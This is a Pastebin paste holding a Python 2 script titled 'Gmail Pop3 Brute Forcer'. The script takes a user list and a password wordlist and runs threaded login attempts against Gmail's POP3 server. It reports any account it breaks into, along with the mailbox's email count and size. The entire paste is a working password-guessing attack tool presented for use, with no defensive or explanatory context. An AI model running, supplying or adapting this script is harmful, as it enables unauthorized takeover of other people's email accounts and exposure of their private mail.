Guest User

Untitled

a guest
Dec 11th, 2017
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | None | 0 0
  1. #!usr/bin/python
  2. #Gmail Pop3 Brute Forcer
  3. #made by caboose
  4.  
  5. import threading, time, random, sys, poplib
  6. from copy import copy
  7.  
  8. def title():
  9. print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
  10. print "\t --------------------------------------------------\n"
  11.  
  12. if len(sys.argv) !=3:
  13. title()
  14. print "\t Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
  15. sys.exit(1)
  16.  
  17. server = "pop.gmail.com"
  18. success = []
  19.  
  20. try:
  21. users = open(sys.argv[1], "r").readlines()
  22. except(IOError):
  23. title()
  24. print "[-] Error: Check your userlist path\n"
  25. sys.exit(1)
  26.  
  27. try:
  28. words = open(sys.argv[2], "r").readlines()
  29. except(IOError):
  30. title()
  31. print "[-] Error: Check your wordlist path\n"
  32. sys.exit(1)
  33.  
  34. try:
  35. pop = poplib.POP3_SSL(server, 995)
  36. welcome = pop.getwelcome()
  37. pop.quit()
  38. except (poplib.error_proto):
  39. welcome = "No Response"
  40. pass
  41.  
  42. title()
  43. print "[+] Server:",server
  44. print "[+] Port: 995"
  45. print "[+] Users Loaded:",len(users)
  46. print "[+] Words Loaded:",len(words)
  47. print "[+] Server response:",welcome,"\n"
  48.  
  49. wordlist = copy(words)
  50.  
  51. def reloader():
  52. for word in wordlist:
  53. words.append(word)
  54.  
  55. def getword():
  56. lock = threading.Lock()
  57. lock.acquire()
  58. if len(words) != 0:
  59. value = random.sample(words, 1)
  60. words.remove(value[0])
  61.  
  62. else:
  63. print "\n[-] Reloading Wordlist - Changing User\n"
  64. reloader()
  65. value = random.sample(words, 1)
  66. users.remove(users[0])
  67.  
  68. lock.release()
  69. if len(users) ==1:
  70. return value[0][:-1], users[0]
  71. else:
  72. return value[0][:-1], users[0][:-1]
  73.  
  74. class Worker(threading.Thread):
  75.  
  76. def run(self):
  77. value, user = getword()
  78. try:
  79. print "-"*12
  80. print "[+] User:",user,"Password:",value
  81. pop = poplib.POP3_SSL(server, 995)
  82. pop.user(user)
  83. pop.pass_(value)
  84. print "\t\t\n\nLogin successful:",user, value
  85. print "\t\tMail:",pop.stat()[0],"emails"
  86. print "\t\tSize:",pop.stat()[1],"bytes\n\n"
  87. success.append(user)
  88. success.append(value)
  89. success.append(pop.stat()[0])
  90. success.append(pop.stat()[1])
  91. pop.quit()
  92. except (poplib.error_proto), msg:
  93. #print "An error occurred:", msg
  94. pass
  95.  
  96. for i in range(len(words)*len(users)):
  97. work = Worker()
  98. work.start()
  99. time.sleep(1)
  100. if len(success) >=1:
  101. print "\n\n[+] Login successful:"
  102. print "\t[+] User:",success[0]
  103. print "\t[+] Password:",success[1]
  104. print "\t[+] Mail:",success[2],"emails"
  105. print "\t[+] Size:",success[3],"bytes\n"
  106. print "\n[-] Done\n"
Add Comment
Please, Sign In to add comment